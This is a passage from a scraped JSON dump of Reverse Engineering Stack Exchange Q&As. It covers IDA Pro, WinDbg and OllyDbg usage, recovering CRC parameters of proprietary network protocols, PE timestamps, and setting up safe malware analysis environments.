    As to your second question, jumps using ldr pc must explicitly specify the mode. Since you compiled the code with -mthumb, you're in thumb mode, and to stay in thumb mode those addresses need to have bit 0 set to 1 (see note [a] on this page).

    \n" }, { "Id": "12043", "CreationDate": "2016-02-15T17:57:27.777", "Body": "

    Why does this happen and how do I get to that place in file using IDA? I have found a unicode string using WinHEX. Now I would like to see from where is it referenced. I tried to jump on the file offset, but it prints out an error: Command \"JumpFileOffset\" failed. Searching for those bytes as well as for the text value yields no results. It's like IDA somehow missed that part of the file. Looking at IDA's hex-view the file ends with a lot of ?? bytes, whereas in WinHEX those offsets have all sorts of data: what looks like garbage and a lots of unicode strings.

    \n\n

    It seems like there is some trivial knowledge I'm missing.

    \n", "Title": "IDA Pro can't view part of the file, which I can see exists WinHEX", "Tags": "|ida|", "Answer": "

    By default, IDA does not load all sections.

    \n\n

    To force IDA to load all sections, check the Manual load checkbox when opening the file in IDA:

    \n\n

    \"Manual

    \n\n

    However, note that this likely won't help you, since it's very unlikely that you'll find a cross-reference from that string back to the code. If the string is in a .rsrc section, look for calls to FindResource().

    \n" }, { "Id": "12053", "CreationDate": "2016-02-16T17:29:39.027", "Body": "

    I would like to determine if an instruction a) reads from or b) writes to a memory address.\nI can currently think of two approaches in IDA:

    \n\n
      \n

    1. Looking for a list of mnemonics (better: particular opcodes?), e.g. for x86 see here and manually map each and every one of them to read, write.

      \n\n

      This does not seem to be very elegant to me.

      2. \n

    2. Work with the idc.GetOpType(ea, n) function and check for the relevant o_* constants (see here), i.e:

      \n\n
      o_mem      = idaapi.o_mem       # Direct Memory Reference  (DATA)      addr\no_phrase   = idaapi.o_phrase    # Memory Ref [Base Reg + Index Reg]    phrase\no_displ    = idaapi.o_displ     # Memory Reg [Base Reg + Index Reg + Displacement] phrase+addr\n
      \n\n

      Yet, these do not tell me if the instruction reads from or writes to memory.

      3. \n
    \n\n

    Is there a better way to find out what I want? Ideally a way that works for multiple CPU architectures?

    \n", "Title": "IDA: Generic approach to determine if an instruction reads from, or writes to, memory?", "Tags": "|ida|disassembly|assembly|idapython|idapro-sdk|", "Answer": "

    Updated @tmr232's answer for IDA 7.4+ using a better syntax for printing strings(f-strings):

    \n
    import idaapi\nimport idautils\nimport idc\n\nOPND_WRITE_FLAGS = {\n    0: idaapi.CF_CHG1,\n    1: idaapi.CF_CHG2,\n    2: idaapi.CF_CHG3,\n    3: idaapi.CF_CHG4,\n    4: idaapi.CF_CHG5,\n    5: idaapi.CF_CHG6,\n}\n\nOPND_READ_FLAGS = {\n    0: idaapi.CF_USE1,\n    1: idaapi.CF_USE2,\n    2: idaapi.CF_USE3,\n    3: idaapi.CF_USE4,\n    4: idaapi.CF_USE5,\n    5: idaapi.CF_USE6,\n}\n\ndef print_insn_mem_interaction(ea):\n    insn = idautils.DecodeInstruction(ea)\n\n    # The features are needed for operand flags.\n    feature = insn.get_canon_feature()\n\n    for op in insn.ops:\n        # You always get 6 operands. Some of them are set to `o_void` to indicate\n        # that they are not used.\n        if op.type == idaapi.o_void:\n            break\n\n        # There are 3 types of memory references in IDA. We want all 3.\n        is_mem = op.type in (idaapi.o_mem, idaapi.o_phrase, idaapi.o_displ)\n\n        # Extract per-operand read/write status from the feature.\n        is_write = feature & OPND_WRITE_FLAGS[op.n]\n        is_read = feature & OPND_READ_FLAGS[op.n]\n\n        if not is_mem:\n            # Operand does not access memory.\n            continue\n\n        # Ugly line for the display. Sorry.\n        action = 'memory {}'.format('/'.join(filter(bool, ('read' if is_read else None, 'write' if is_write else None))))\n\n        stringToPrint = f"Operand[{op.n}]<{idc.print_operand(ea, op.n)}> : {action}"\n        print(stringToPrint)\n
    \n" }, { "Id": "12056", "CreationDate": "2016-02-16T23:21:38.177", "Body": "

    I have an executable without debug symbols, and I want to get to its' main() function.

    \n\n

    What I do is putting breakpoint at $exentry address, but this address of some CRT-initialization. To get to the main() I need to single-step until I see some changes in working application.

    \n\n

    Is there any other procedure to skip CRT code?

    \n", "Title": "Find main() function of executable with windbg", "Tags": "|windbg|", "Answer": "

    no there is no shortcut loader knows only about the $exentry because it is an embedded pointer in the PeHeader
    \nfrom there to main is mostly traversed by either single stepping or observing and recognizing known functions by practice and experience
    \nthe crt code is fairly common and the source for crt is available in crt folder of any visual studio installation (this will help if you have the binary with debug info

    \n\n

    if the binary is stripped or built without debuginfo in release mode crt src wont help you pinpoint the main()

    \n\n

    in those case you should be able to recognize certain standard calls that the crt is going to make for example it would normally call kernel32!GetCommandLineXXXX settig a bp on that function brings you closer to the main() another function you can set a breakpoint is \nkernel32!GetEnvironemStringXXXX \nand then set hardware breaks on the results \nonce you have hit these breakpoints you can\nyou can use the standard prototype of main \nint main (int argc , char **argv , char* envp) construct to \nidentify your main

    \n\n
    :\\>cdb -c \"bp $exentry;g;bp kernel32!GetCommandlineA;g;g poi(@esp)\" hell.exe\n\n0:000> cdb: Reading initial command 'bp $exentry;g;bp kernel32!GetCommandlineA;g;g poi(@esp)'\nBreakpoint 0 hit\nBreakpoint 1 hit\neax=002b36d8 ebx=7ffdf000 ecx=002b47e8 edx=002b4813 esi=00000000 edi=00000000\neip=01314082 esp=0024f9b0 ebp=0024f9e4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nimage01310000+0x4082:\n01314082 a3c4933201      mov     dword ptr [image01310000+0x193c4 (013293c4)],ea\nx ds:0023:013293c4=00000000\n
    \n\n

    the same area and the distance between exec_main and getcommandline function as an image of ollydbg debugging the same executable

    \n\n

    \"enter

    \n\n

    the same src built with debuginfo /Zi msvc compiler and snap shotted\n\"enter

    \n\n

    to get more nearer you can employ the int argc \nyou execute the binary so you know how many arguments you passed \nif you passed no arguments to the binary then int argc will be equal to 1 \nif you passed 8 arguments int argc will be equal to 9

    \n\n

    with that in mind once you reached the breakpoint as enumerated above you can run a loop that enumerates the int argc in stack

    \n\n
    bp $exentry\nbp kernel32!GetCommandLineA\ng\ng\ng poi(@esp)\n.while(@$t0= 0) {\npc \n.if ( poi(@esp) == 1) {r $t0 = 1} .else { r $t0 = 0}\n}  \n
    \n\n

    result of running the script notice the address in screen shot above you have just one call to step to the wrapper for main()

    \n\n
    cdb -c \"$$>a< findwmain.txt\" hell.exe\n\n0:000> cdb: Reading initial command '$$>a< findwmain.txt'\nBreakpoint 0 hit\nBreakpoint 1 hit\n\neax=00000000 ebx=7ffd3000 ecx=00461228 edx=00461228 esi=00000000 edi=00000000\neip=000a40b5 esp=0034fb5c ebp=0034fb94 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nimage000a0000+0x40b5:\n000a40b5 e8e4420000      call    image000a0000+0x839e (000a839e)\n
    \n" }, { "Id": "12057", "CreationDate": "2016-02-17T02:35:54.353", "Body": "

    Currently, I am trying to figure out the packet structure (for encryption) of an old MMO in order to create an emulator. Its official servers shut down 3 years ago and this version is over 11 years old.

    \n\n

    After loading up the original server (it takes up ~3gb of RAM just to load and eats quite a lot of CPU, so that's why I want to emulate it) with IDA, I found that the polynomial is 0x8005 (32773) and that it was \"Crc16\". To further back that up, I found a series of bytes in memory when it's loaded:

    \n\n
    00 00 [05 80] 0F 80 0A 00 1B 80 1E 00 14 00 11 80 33 80 36 00 3C 00 39 80 28 00\n
    \n\n

    And, from IDA (pInitial is always 0 for some reason):

    \n\n
    FnlApi::CCrc16::SetPolynomial(&this->__mCrc, 32773);\n//////////////////////////////\nv5 = FnlApi::CCrc16::CalcCrc(&this->__mCrc, pPack + 2, pLng - 2, 0);\n//////////////////////////////\nint result; // eax@1\nconst char *v5; // edx@1\n__int16 v6; // bx@2\nunsigned __int16 v7; // bx@2\nbool v8; // zf@2\n\nLOWORD(result) = pInitial;\nv5 = pMsg;\ndo\n{\n    LOBYTE(v6) = 0;\n    HIBYTE(v6) = result;\n    v7 = this->__mTbl[(unsigned __int8)(*v5++ ^ BYTE1(result))] ^ v6;\n    v8 = pLng-- == 1;\n    result = v7;\n}\nwhile ( !v8 );\nreturn result;\n
    \n\n

    This is a packet from the server that isn't encrypted.

    \n\n
    [1B 00] [00] [00 F2 2C 00 00 00] [31 32 37 2E 30 2E 30 2E 31 00 00 00 20 01 00 00 16 27]\n
    \n\n

    As I understand, this is the packet \"structure\":

    \n\n
    [Packet ID] [Key (00?)] [CRC, padding?] [Actual packet]\n
    \n\n

    This is a packet from the server that is encrypted.

    \n\n
    [2F 00] [74] [38 ED 2C 00 00 01] [93 85 AE 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A F3 3C EF EF F9 AE 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00]\n
    \n\n

    Decrypted, this is (I think):

    \n\n
    [2F 00] [74] [38 ED 2C 00 00 01] [75 69 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 61 73 73 77 64 00 00 00 00 00 00 00 00 00 00 00 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC]\n
    \n\n

    I think both of the packets's structure is:

    \n\n
    [Packet ID] [Key] [CRC, padding?] [Actual packet]\n
    \n\n

    Another packet that is encrypted with the same structure:

    \n\n
    [18 00] [42] [56 D6 07 00 00 01] [2E 75 3D D2 75 03 CC 03 CD CC 03 8E 2D CC B1 6B 9F DB 6B D1 DB 6B 4F 4F D3 73 78 C6 AA 4B DF 63 1E 4A 18 C6 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00]\n
    \n\n

    Decrypted:

    \n\n
    [18 00] [42] [56 D6 07 00 00 01] [63 74 65 73 74 00 01 00 08 01 00 04 02 01 03 C7 0F AC C7 C4 AC C7 A3 A3 E7 5C 7F 05 CA 6D A0 77 46 64 F8 05 9E 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F]\n
    \n\n

    I apologize for this being a mess, but I've been at it for days with no actual progress.

    \n\n

    Edit:

    \n\n

    My current class (with decryption working) is here: http://pastebin.com/7e05AJLa

    \n", "Title": "Figuring out the CRC part of a packet", "Tags": "|ida|encryption|crc|packet|", "Answer": "

    The CRC is, as suspected, a fairly standard CRC16 with the polynomial 0x8005 (reflected: 0xA001). The only online calculators that I could find for this are:

    \n\n\n\n

    The latter is particularly convenient for taking parts of the packet hex dumps, CRCing them, musing upon the results and then changing some bits before repeating the experiment...

    \n\n

    Except for the polynomial - 0x8005 instead of 0x1021 - all the specifics are the same as for CRC-CCITT (XModem). If you plug in the 0x1021 poly then you can use a multitude of online checkers for verifying your own implementation, like Lammert Bies's, or indeed FoxPro's builtin CRC function (with 0x10000 as seed to force 0 as initial value, e.g. sys(2007, \"123456789\", 0x10000)).

    \n\n

    Conversely, there are plenty of ready-made implementations where you only need to substitute 0x8005 for 0x1021. I've also found a table-based implementation in C that already uses 0x8005.

    \n\n

    The code in the disassembly is essentially the same as that in chapter 10 of the CRC bible, a.k.a. Ross Williams' Painless Guide to CRC Error Detection Algorithms (HTML version here):

    \n\n
    r=0; \nwhile (len--) \n    r = (r<<8) ^ t[(r >> 8) ^ *p++];\n
    \n\n

    This is readily apparent if you compare this to my transcription of the disassembly (which I did in C#, because I'm learning it ATM):

    \n\n
    static ushort crc16 (byte[] pMsg, ushort pInitial = 0)\n{\n    uint eax = pInitial;\n\n    for (int i = 0; i < pMsg.Length; ++i)  // EDX == pMsg + i\n    {\n        uint cl = ((eax >> 8) & 0xFF) ^ pMsg[i];\n        uint bx = (eax & 0xFF) << 8;\n\n        eax = bx ^ lookup[cl];\n    }\n\n    return (ushort)eax;\n}\n
    \n\n

    I've shown an intermediate rendition that still has the registers as value names, which makes it easily to correlate to the disassembly.

    \n\n

    Sidenote: the disassembly shows IDA's age-old bug whereby it locally renames registers to the names of the parameters they hold on entry to the function.

    \n\n

    E.g., for reading the disassembly of this particular function you need to substitute 'ecx' for 'this' mentally because otherwise it just doesn't make sense:

    \n\n
        ...\n    xor this, this\n    mov cl, ah\n    xor cl, bl\n\n    xor ebx, ebx\n    mov bh, al\n    and this, 0FFh\n    movzx   this, cx\n    xor bx, [esi+this*2]\n    ...\n
    \n\n

    It's simply ludicrous. I guess a certain someone needs to read up on the concept of live ranges, and why compilers bother to add live range data to the bits of debug info where IDA gets the name/register association from.

    \n\n

    For completeness' sake here are the other parts of the CRC rig, for those who want to use C# for spelunking:

    \n\n
    static ushort[] lookup;\n\nstatic void initialise_lookup (ushort polynomial = 0x8005)\n{\n    for (uint edx = 0; edx <= 0xFF; ++edx)\n    {\n        uint ax = edx << 8;\n\n        for (uint esi = 0; esi < 8; ++esi)\n            if ((ax & 0x8000) != 0)\n                ax = (ax << 1) ^ polynomial;\n            else\n                ax <<= 1;\n\n        lookup[edx] = (ushort)ax;\n    }\n}\n\nstatic ushort crc16 (string s, ushort initial = 0)\n{\n    return crc16(System.Text.Encoding.ASCII.GetBytes(s), initial);\n}\n
    \n\n

    That's it for the raw basis of the packet CRC. Now it's time to hammer out the specifics and to see if someone deviously passes something other than 0 for the initial value, or whether the resulting CRC is stomped on somehow before being inserted into the packet... Another thing to watch out for in the original EXE is that the CRC class might well get instantiated with different polynomials in different parts of the program.

    \n\n

    Eyeballing the packets in WPE_Plogtxt.txt shows that only the third and fourths bytes (offsets 2 and 3) have enough entropy to be a CRC, and that the initial word is the length of the packet:

    \n\n
    [u16 length] [u16 crc?] [5 headerish bytes] [payload]\n
    \n\n

    Examples:

    \n\n
    09 00 : 01 B9 : DF 07 00 00 01\n09 00 : E2 CD : 75 00 00 00 01\n\n0B 00 : 12 AD : 10 00 00 00 01 : 95 03 \n0B 00 : 14 05 : 10 00 00 00 01 : A9 9A\n0B 00 : 11 2B : 10 00 00 00 01 : BA CD\n0B 00 : 77 D0 : 46 00 00 00 01 : 4D 2A\n\n0C 00 : 2D B1 : 42 00 00 00 01 : B7 D1 90\n0D 00 : 04 E6 : 6D 01 00 00 01 : F1 52 ED DF\n0E 00 : 50 9D : 2C 00 00 00 01 : F7 E9 94 FC 3A\n0F 00 : 4C 88 : 21 01 00 00 01 : 30 EB 62 D0 C4 D0\n10 00 : 81 28 : 1B 00 00 00 01 : 64 CD E6 F0 24 CD F0\n11 00 : C5 FB : 31 00 00 00 01 : 75 0F 13 10 DE 0F 11 2F \n12 00 : 9E F7 : 18 00 00 00 01 : 19 D8 F5 D8 F2 01 95 D8 D8\n
    \n\n

    But sometimes the stuff doesn't fit at all:

    \n\n
    13 00 : 00 00 : 03 00 00 00 00 : 00 00 0B E1 F5 05 00  00 00 00\n
    \n\n

    In order to make quick headway it would be helpful to run analyses on large numbers of samples, i.e. directly on nice fat packet capture files. Where's this \"PAC\" format from?

    \n\n

    Here are all samples of length 9 that I could find, to demonstrate why more analysis is necessary. Several of the samples differ only in the supposed CRC. This means that if these frames do contain CRCs then these must refer to some bigger frame of reference.

    \n\n
    09 00 : C5 28 : 05 00 00 00 01\n09 00 : CD 65 : 05 00 00 00 01\n09 00 : EA A6 : 1E 00 00 00 00\n09 00 : 58 29 : 2D 00 00 00 00\n09 00 : CC 96 : 2D 00 00 00 00\n09 00 : D0 B0 : 2D 00 00 00 00\n09 00 : F8 8A : 2D 00 00 00 00\n09 00 : 57 3C : 4F 00 00 00 01\n09 00 : 41 47 : 5A 00 00 00 00\n09 00 : 8E A2 : 5A 00 00 00 00\n09 00 : DF B3 : 5A 00 00 00 00\n09 00 : E2 CD : 75 00 00 00 01\n09 00 : 01 B9 : DF 07 00 00 01\n09 00 : 02 C9 : DF 07 00 00 01\n09 00 : 0F 39 : DF 07 00 00 01\n09 00 : 1A F2 : DF 07 00 00 01\n09 00 : 36 7E : DF 07 00 00 01\n09 00 : CD 65 : DF 07 00 00 01\n09 00 : D0 55 : DF 07 00 00 01\n09 00 : D2 D9 : DF 07 00 00 01\n
    \n\n

    This complicates the picture and makes it more difficult to work out the specifics of the CRCs via packet analysis. It might be faster to attack the problem with IDA, by analysing references to the CRC function.

    \n" }, { "Id": "12076", "CreationDate": "2016-02-20T21:36:12.710", "Body": "

    I'm a Olly newbie... whenever I set a breakpoint at an address and found I need to restart the target program, the previously set breakpoints are all removed. Is there anyway to let Olly to remember the breakpoints for certain executable, so that everytime when I want to debug that executable, the previously set breakpoints are still there?

    \n", "Title": "Ollydbg:how to let Olly remember a breakpoint for next run", "Tags": "|ollydbg|debugging|breakpoint|", "Answer": "

    This is a limitation of OllyDbg v1.

    \n\n

    There are a couple of plugins designed to fix this in v1 (such as Breakpoint Manager), but the better solution is to upgrade to OllyDbg v2.

    \n" }, { "Id": "12091", "CreationDate": "2016-02-24T17:26:09.930", "Body": "

    I've been working my way through an undocumented TCP-based protocol by monitoring traffic with tcpdump, Wireshark, and some Python packages (scapy, numpy) with good luck so far, but I've hit a wall with what I think is some sort of checksum/hash/CRC.

    \n\n

    Watching a client binary, it sends its first \"hello\" sort of message, gets back a response from the server with some basic things (server version, etc.), then sends a set of commands in the subsequent messages. It's that second and subsequent message type I can't figure out. Here's an example:

    \n\n

    \n2f c6 00 f2 00 36 01 08 56 cc 80 c4 00 00 00 00\n00 00 00 00 01 04 72 6f 6f 74 00 68 6f 73 74 6e\n61 6d 65 00 6c 6d 67 72 64 00 2f 64 65 76 2f 70\n74 73 2f 30 00 00\n

    \n\n

    The first 22 bytes are what I'm calling the header, since it's a fixed-length segment and after that it's all just null-terminated ASCII strings. The bytes of that header:

    \n\n\n\n

    My question is about the 3rd and 4th byte: what method is the client using to come up with those values, and/or what should I try to figure it out myself?

    \n\n

    I can test a wide variety of values by varying the hostname, username, system time, and TTY the client is running under, so I can easily gather gobs of example packets if needed. So far I've tried a statistical approach with that by looking at a histogram of what values those bytes take on across a wide range of inputs. I haven't discovered too much from that, except:

    \n\n\n\n

    Another method was to give it a few specific values of hostname to see how it behaves. These things DO change the value of both of those mystery bytes:

    \n\n\n\n

    I then tried crunching through different types of checksums I've read about (variations on BSD and Fletcher) as well as CRCs (trying a 15-bit polynomial to produce a 14-bit remainder, but, is that actually a thing that's done?) with no luck so far. Any ideas?

    \n", "Title": "What checksum algorithm is this network protocol using?", "Tags": "|linux|protocol|networking|wireshark|", "Answer": "

    Got it!

    \n\n

    The algorithm is a CRC with the following parameters, stored in those two bytes as a big-endian short:

    \n\n\n\n

    To figure it out, I used my packet capture data, CRC RevEng, and some shell scripting to glue it together. I then used pycrc to calculate the check values on the fly to make my own network requests check out OK on the server.

    \n\n

    I'm considered my question answered since this method reliably gets the server to acknowledge my custom requests, but what Jason and ebux recommended for reverse engineering the binaries still looks to be the only way I'd be able to pin it down any further. For example, there were a few different CRCs that fit all the data I'm working with. I learned quite a bit with using gdb and objdump, but quickly got in over my head. Time will tell if I've just delayed the inevitable, I suppose.

    \n\n

    More details:

    \n\n

    First in Wireshark I selected a good range of packets, some with the same length, some with differing lengths. For each I exported the raw binary into a file. (In the Packet Details frame, right-click the Data display, click \"Export selected packet bytes...\".) Since I didn't know for sure how the bytes were organized, but I had a good guess of which were the CRC, I made modified versions of the files with the check bytes appended instead of at the beginning, with some clunky dd usage show below. The variant that finally worked was putting the bytes at the end in a little-endian format that reveng would understand. In a bash shell:

    \n\n
    dd if=example bs=1 skip=4 > example_crc_reverse\ndd if=example bs=1 count=1 skip=3 >> example_crc_reverse\ndd if=example bs=1 count=1 skip=2 >> example_crc_reverse\n
    \n\n

    These modified files were then fed into reveng. Since I didn't even know for sure the width of the possible CRC polynomial, I looped from 1 to 16 to see what it'd find. In bash again:

    \n\n
    for width in $(seq 1 16); do reveng -w $width -s -f example*_crc_reverse; done\n
    \n\n

    Even with many packets it finds a number of non-standard CRCs that fit the data, but the one above is the highest-order one that doesn't require strange xor values. The ones found in the reveng output:

    \n\n
    width=1  poly=0x1  init=0x0  refin=false  refout=false  xorout=0x0  check=0x1  name=(none)\nwidth=1  poly=0x1  init=0x1  refin=false  refout=false  xorout=0x1  check=0x1  name=(none)\nwidth=1  poly=0x1  init=0x0  refin=true  refout=true  xorout=0x0  check=0x1  name=(none)\nwidth=1  poly=0x1  init=0x1  refin=true  refout=true  xorout=0x1  check=0x1  name=(none)\nwidth=3  poly=0x5  init=0x0  refin=true  refout=true  xorout=0x0  check=0x0  name=(none)\nwidth=4  poly=0x7  init=0x0  refin=true  refout=true  xorout=0x0  check=0xb  name=(none)\nwidth=4  poly=0x7  init=0xd  refin=true  refout=true  xorout=0xb  check=0xb  name=(none)\nwidth=10  poly=0x381  init=0x000  refin=true  refout=true  xorout=0x000  check=0x032  name=(none)\nwidth=11  poly=0x083  init=0x000  refin=true  refout=true  xorout=0x000  check=0x032  name=(none)\nwidth=11  poly=0x083  init=0x781  refin=true  refout=true  xorout=0x40f  check=0x032  name=(none)\nwidth=13  poly=0x058d  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x1c1f  name=(none)\nwidth=14  poly=0x2e97  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x3076  name=(none)\nwidth=14  poly=0x2e97  init=0x258d  refin=true  refout=true  xorout=0x2c69  check=0x3076  name=(none)\n
    \n\n

    (I thought the 14-bit one with no xorin/xorout step made the most sense to use, but I don't have a good argument why.) In Python, with a binary request prepared as a list of integer byte values, pycrc can calculate the check value like this:

    \n\n
    crc = pycrc.Crc(width=14, poly=0x2e97, reflect_in=True, xor_in=0, reflect_out=True, xor_out=0)\ncrc_val = crc.table_driven(binary)\n
    \n\n

    The calculated crc_val from pycrc is already stored with the endianness expected by the server, so it can be placed as-is a the beginning of the message.

    \n" }, { "Id": "12100", "CreationDate": "2016-02-25T19:15:01.320", "Body": "
    \n

    Perhaps similar to Reverse engineering zip file, but my problem is clearly different

    \n
    \n\n
    \n\n

    Do zip files contain some specific sort of uniform code? What I mean by this is: Is it possible to analyze some properties of the zip file? Editing a zip with a hex editor is not helpful at all, as it is unintelligible to me.

    \n", "Title": "Dissassembling a zip file", "Tags": "|disassembly|", "Answer": "

    Yes, the ZIP file format is thoroughly documented here: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT

    \n\n

    You can use 010 Editor's ZIP template for analyzing ZIP files:

    \n\n

    \"ZIP\"

    \n" }, { "Id": "12103", "CreationDate": "2016-02-26T01:15:25.097", "Body": "

    I am working on some x86 (32/64 bits) ELF binary code. These binaries are compiled from C and C++ program code and I am trying to detect loops inside the binaries.

    \n\n

    I am newbie to this area, and I am wondering, what is the standard way to identify a loop in binary code?

    \n\n

    I prefer to use some static methods to detect the loop instances, as I am not able to generate well-performing dynamic test cases.

    \n", "Title": "What is the \"standard\" approach to find loop in binary code?", "Tags": "|binary-analysis|binary|", "Answer": "

    You can use this algo: https://en.wikipedia.org/wiki/Kosaraju's_algorithm

    \n

    You need to divide the assembler code into graphs (basic blocks) and find strongly connected graphs.\nhttps://habr.com/ru/articles/331904/

    \n

    https://habr.com/ru/articles/537290/

    \n" }, { "Id": "12126", "CreationDate": "2016-03-02T14:51:28.283", "Body": "

    I have thousands of Linux malware samples in ELF format. And I am thinking to use dynamic analysis (say, PIN) to obtain an execution trace of each malware sample.

    \n\n

    However, I am afraid such activity would crash my computer. So am I asking, how to dynamically analysis malware samples safely?

    \n\n

    I know somehow I need to run it in a VM, but isn't it possible that the VM can be crashed as well? Should I reinstall the VM at that time? basically What's the best practice to do so?

    \n\n

    Thank you a lot.

    \n", "Title": "Dynamic analysis of malware samples", "Tags": "|binary-analysis|malware|elf|dynamic-analysis|", "Answer": "

    It is very unlikely that the VM application can be crashed unless you are dealing with very sophisticated ELF malwares targeting your VM version. The guest OS or the environment inside the VM can be crashed though. In the event that it happens, you don't have to reinstall VM. Just follow SnakeByte instructions.

    \n" }, { "Id": "12137", "CreationDate": "2016-03-03T12:27:11.727", "Body": "

    I am quite new to reverse engineering (but have some experience with OllyDbg). What I want to do, is to attach to Windows executable file or library (mostly PE32, but x64 would be a great benefit) and record how it interacts with virtual memory in order to do some self-study and experiments. E.g. I want to have timestamp,operation type(read,write,allocate etc.), address, amount of data transfered records for some period of program's runtime. My first thought was to use breakpoints in OllyDbg, where you can set breakpoint on the memory range and operation type. But this will cause execution to stop every time, so gathering of the data will take a lot of time. Also I need to know memory ranges, but if program will try to write into unallocated memory for some reason - I'll lose this data. Also I found that Intel Pin can do something similar to what I want, but as I understood it can't record the timestamp of memory operation.

    \n\n

    So my questions is:\nIs there any tool that can fit my requests?\nIf not - which tools can be modified in some feasible time?\nIn the worst case I would be satisfied with something that can track amount of read(or write, or allocation - all separately) operations per millisecond (or other significantly small time period).

    \n\n

    Thank you.

    \n", "Title": "Memory activity tracking", "Tags": "|ollydbg|memory|breakpoint|", "Answer": "

    As you noted, PIN would likely be the best option for this. Since PIN allows you to register user-defined callbacks for events, you could indeed record timestamps via your callback functions.

    \n\n

    You may also want to check out tracectory, which parses OllyDbg run traces. It might not do exactly what you want, but it's open source, and you could probably get your desired output with a few simple modifications.

    \n\n

    \"tracectory\"

    \n\n

    You could also hack up QEMU or Bochs for your needs, but I wouldn't recommend it as these are rather \"heavyweight\" options, especially since you're interested in monitoring only a single process.

    \n" }, { "Id": "12138", "CreationDate": "2016-03-03T13:58:00.297", "Body": "

    I need assistance decompiling the following from ASM to pseudo C.

    \n\n
    Code 1\n...\nmov edx, Var1       # Move Var1 to edx\nmov ecx, Var2       # Move Var2 to ecx\nmov eax, edx        # Move EDX (Var1) to EAX\nimul ecx            # Multiply EAX (Var1) by ECX (Var2). Store result into EDX:EAX\nmov edx, eax        # Move EAX to EDX\nimul edx, eax       # Multiply EDX and EAX, store result into EDX\nmov Var3, ecx       # Move ECX into Var3\n...\n
    \n\n

    I commented the ASM and deduced it results in Var3 = Var2. But what would the C code look like?

    \n\n
    Code 2\n...\n    mov dword ptr [esi], 1\n    xor edx, edx\n    mov [ebx], edx\n    jmp short loc_4012F1\n\nloc_4012E8:\n    mov ecx, [esi]\n    imul ecx, [esi]\n    mov [esi], ecx\n    inc dword ptr [ebx]\n\nloc_4012F1:\n    cmp dword ptr [ebx], 8\n    jl short loc_4012E8\n...\n
    \n\n

    For this second code, I'm thinking something like,

    \n\n
    for (int i = 0; i > 8; i++){\nint a = 8;\n\nint b = 9;\n\nint c = a * b;\n}\n
    \n\n

    Appreciate any help

    \n", "Title": "Help Coverting ASM to C", "Tags": "|assembly|decompilation|c|", "Answer": "

    Simple solution d123 use IDA PRO with Hex-Rays Decompiler, it produces very good results for simple assembly codes like this

    \n\n

    I assembled your code line by line.

    \n\n

    \"assembly

    \n\n

    Then Pressed F5 key and bam got this code below!

    \n\n
    _DWORD *a1@<ebx>;\n_DWORD *a2@<esi>;\n  *a2 = 1;\n  for ( *a1 = 0; *a1 < 8; ++*a1 )\n    *a2 *= *a2;\n
    \n\n

    it can compile too if you rename _DWORD to unsigned int \nand \nremove @<ebx> and @<esi> these are just to show what a1 and a2 means

    \n" }, { "Id": "12140", "CreationDate": "2016-03-03T14:57:06.733", "Body": "

    The PE-Header of Windows executables contains as its third field the \"Timestamp at compile time\". To reach reproducibility in our build process we would like to set the time (Epoch seconds) to zero (=1970-01-01 00:00:00).

    \n\n

    Does this have any side-effects? According to

    \n\n

    https://support.microsoft.com/en-us/kb/164151

    \n\n

    the header does not impact the function.

    \n\n

    Are there compiler/linker flags to get this automatically?

    \n\n

    Kind regards\nStefan S.

    \n", "Title": "What are the side effects of setting the timestamp in the PE-header to 0?", "Tags": "|windows|pe|binary|", "Answer": "
    \n

    Does this have any side-effects?

    \n
    \n\n

    No, the Windows loader doesn't care about the timestamp in an EXE's PE header.

    \n\n
    \n

    Are there compiler/linker flags to get this automatically?

    \n
    \n\n

    No, Visual C++'s link.exe does not have a command line switch for specifying the timestamp to use. (And Visual C++'s cl.exe doesn't apply since the PE timestamp is a linking timestamp, not a compiling timestamp.)

    \n" }, { "Id": "12147", "CreationDate": "2016-03-04T14:22:41.183", "Body": "

    I have to catch first-chance exceptions occurring in user-mode application during kernel-mode debugging session.

    \n\n

    I have written simple example application called Exceptions.exe:

    \n\n
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)\n{\n    MessageBox(NULL, \"Press OK to generate exception.\", \"Title\", MB_OK);\n    __try\n    {\n        __asm\n        {\n            xor eax, eax\n            mov dword ptr[eax], eax  // I wanna break here\n        }\n    }\n    __except(EXCEPTION_EXECUTE_HANDLER)\n    {\n        MessageBox(NULL, \"In exception handler.\", \"Title\", MB_ICONINFORMATION);\n    }\n    return 0;\n}
    \n\n

    I launch it in the being debugged system. Then go to windbg, press 'ctrl+break' and enter following commands:

    \n\n
    \n3: kd> !process 0 0 Exceptions.exe\nPROCESS 853b37e0  SessionId: 1  Cid: 0f48    Peb: 7ffdf000  ParentCid: 06c4\n    DirBase: be658280  ObjectTable: 8f97acf8  HandleCount:  35.\n    Image: Exceptions.exe\n\n3: kd> .process /i 853b37e0\nYou need to continue execution (press 'g' ) for the context\nto be switched. When the debugger breaks in again, you will be in\nthe new process context.\n3: kd> g\nBreak instruction exception - code 80000003 (first chance)\nnt!RtlpBreakWithStatusInstruction:\n82ab6110 cc              int     3\n2: kd> sxe *\n2: kd> g\n
    \n\n

    I expect to break on the instruction mov dword ptr[eax], eax but nothing occurred. In the being debugged system I've got message box \"In exception handler\".

    \n\n

    Is there any way to get what I want? I can't debug target process in user mode, because it's protected from attaching debugger.

    \n", "Title": "WinDBG. How to catch first-chance exceptions?", "Tags": "|windbg|kernel-mode|exception|", "Answer": "

    In WinDbg: !gflag +soe

    \n\n

